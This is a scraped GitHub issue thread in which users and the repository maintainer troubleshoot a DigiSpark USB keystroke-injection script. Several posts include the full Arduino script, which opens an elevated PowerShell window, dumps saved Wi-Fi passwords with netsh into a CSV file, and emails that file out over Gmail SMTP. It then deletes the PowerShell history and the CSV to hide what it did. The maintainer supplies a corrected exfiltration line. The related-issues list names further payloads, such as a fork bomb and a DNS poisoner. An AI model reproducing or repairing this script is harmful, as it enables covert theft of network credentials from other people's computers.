Comments (17)
@Apollo-config I don't know what you're saying about the arrow keys, I just leave them untouched - the scripts don't use the arrow keys anyways as far as I remember.
Also I assume you're using Gmail - did you lower account security in the settings so that you can send messages through the powershell?
If this didn't fix things please inform me which version of the script you are using and also post the error you're getting.
from digispark-scripts.
When the script tries to open admin powers shell it doesn't work it just ends it. (on the new version) once I fixed that the error message keeps quitting so I can't read it.
Less security is off
from digispark-scripts.
I hope when you say less security is off you mean that you have your account on the Less secure mode.
Anyways I just flashed my DigiSpark again to the new script and it seems to be working as intended.
So this probably means the issue is related to your setup (thus I am closing this issue).
Two things come to mind that might help you:
-
If you're running on an older machine just increase the timings. Opening up powershell especially can take up quite some time on older machines using HDDs.
-
The script uses the ALT+Y combo to answer "Yes" to the Administrator rights prompt when launching powershell. It could be that maybe due to your keyboard layout (if you're using a non US one) this combo doesn't work. Now you can either change the Digispark's layout to yours to make it work (google it if you're interested) or edit the script and use the arrow keys and enter to answer yes to that prompt.
from digispark-scripts.
i am in the UK and the problem is with the line of code sending the email which seems to have errors adding the attachment and the spaces between the different code e.g ~
from digispark-scripts.
That's strange, I've tested that line on a few computers and it doesn't seem to have issues.
Here's a few things to check:
Do you get an email in your inbox (even without an attachment)?
Make sure you have ENABLED Less Secure Access.
Run the Script and check if in your user folder there is a temp.csv file (that's the attachment).
from digispark-scripts.
i have no emails
ENABLED Less Secure Access
the file exists but nothing is written to it
EDIT: Removed photo with credentials inside.
from digispark-scripts.
You have to replace SENDER_MAIL and RECEIVER_MAIL with your email address.
from digispark-scripts.
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USERNAME', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'EMAIL'; $ReportEmail.To.Add('EMAIL'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
for(;;){ /empty/ };
}
My code seems to work then it keeps giving me an error message when i go to compile and upload i can't seem to see whats wrong if you getting working could you tell me what is wrong and if you want to publish this ans the new UK version then am OK with it.
Arduino: 1.8.5 (Windows 10), Board: "Digispark (Default - 16.5mhz)"
C:\Program Files (x86)\Arduino\arduino-builder -dump-prefs -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Users\user\AppData\Local\Arduino15\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Users\user\AppData\Local\Arduino15\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Users\user\Documents\Arduino\libraries -fqbn=digistump:avr:digispark-tiny -ide-version=10805 -build-path C:\Users\user\AppData\Local\Temp\arduino_build_564911 -warnings=all -build-cache C:\Users\user\AppData\Local\Temp\arduino_cache_272829 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.micronucleus.path=C:\Users\user\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.0a4 -prefs=runtime.tools.avr-gcc.path=C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5 -verbose C:\Users\user\Desktop\sketch_new_digispark\sketch_new_digispark.ino
C:\Program Files (x86)\Arduino\arduino-builder -compile -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Users\user\AppData\Local\Arduino15\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Users\user\AppData\Local\Arduino15\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Users\user\Documents\Arduino\libraries -fqbn=digistump:avr:digispark-tiny -ide-version=10805 -build-path C:\Users\user\AppData\Local\Temp\arduino_build_564911 -warnings=all -build-cache C:\Users\user\AppData\Local\Temp\arduino_cache_272829 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.micronucleus.path=C:\Users\user\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.0a4 -prefs=runtime.tools.avr-gcc.path=C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5 -verbose C:\Users\user\Desktop\sketch_new_digispark\sketch_new_digispark.ino
Using board 'digispark-tiny' from platform in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7
Using core 'tiny' from platform in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7
Detecting libraries used...
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "nul"
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "nul"
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\oddebug.c" -o "nul"
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\osccal.c" -o "nul"
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\usbdrv.c" -o "nul"
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\usbdrvasm.S" -o "nul"
Generating function prototypes...
"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "C:\Users\user\AppData\Local\Temp\arduino_build_564911\preproc\ctags_target_for_gcc_minus_e.cpp"
sketch_new_digispark:65: error: unterminated argument list invoking macro "F"
Using library DigisparkKeyboard in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard (legacy)
exit status 1
unterminated argument list invoking macro "F"
from digispark-scripts.
Ok three things:
1st Chill it with the CAPS man
2nd Inside your code were your credentials - don't post these anywhere online, people could access your account. I've edited out your credentials on your above post and I now suggest you go ahead and change your password on the account just to be safe.
3rd As far as I understand you just took the script, modified the timings and the UAC bypass mechanism to work with the arrow keys instead of the ALT+Y combo so I see no reason it shouldn't work. The compile error came because of the modifications you made to the email line (you missed a quote and a comma). I've fixed that line, here you go:
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USERNAME', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)");
Hopefully it will compile now. Good luck.
from digispark-scripts.
Sorry about the caps the email is only for the project but I have changed the password just in case thanks for the help.
If I get the code working I will send you the code if you want to uploaded it as the UK version or non US keyboard version
Changed the caps.
from digispark-scripts.
Success I've got it
from digispark-scripts.
Enjoy!
from digispark-scripts.
Hello.
I have a problem with sending e-mail. Indeed mail doesn't even send. Noting. When I plug it in everything works.. going thru Power Shell etc, and when it closes it should send an e-mail?
Please help, Thanks.
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'I deleted it for forum'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = '[email protected]'; $ReportEmail.To.Add('[email protected]'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
from digispark-scripts.
Hello,
I seem to be encountering the same problem but mine is in the power shell window when it try's to send the email, I've attached the image of the power shell windows is yours in the same place or somewhere else
from digispark-scripts.
Is my scrip ok, or is it wrong :/
from digispark-scripts.
I seem to be getting this error message
from digispark-scripts.
I can't see whats wrong with your script but i have opened an issue are you using it in the uk or in another country
from digispark-scripts.
Related Issues (20)
- On Readme.md there is an issue with the syntax HOT 1
- Can't Stop!
- Wifi Profiler does not work on windows HOT 1
- Wifi Password file blank HOT 3
- Rapid Shell, decimal error HOT 3
- feature request: Os detection
- please help to convert all rubber ducky payloads to digispark
- bit.ly Blacklisted The Link HOT 2
- How to add arrow key scripts to digikeyboard.h HOT 2
- Script Shell does not working HOT 3
- Wifi profile grabber dosent create a file . HOT 1
- idk what i did but when uploading it did this
- Wifi mailer doesn't work anymore HOT 1
- i need to delete the newly created account made by the create_account script.
- Script changing HOT 3
- does the attiny work if command prompt is blocked by administrator? HOT 1
- Feature
- Persistent_Fork_Bomb HOT 1
- DNS_Poisoner.ino Does not Work. HOT 1
- Download Flagged by antivirus and windows defender HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from digispark-scripts.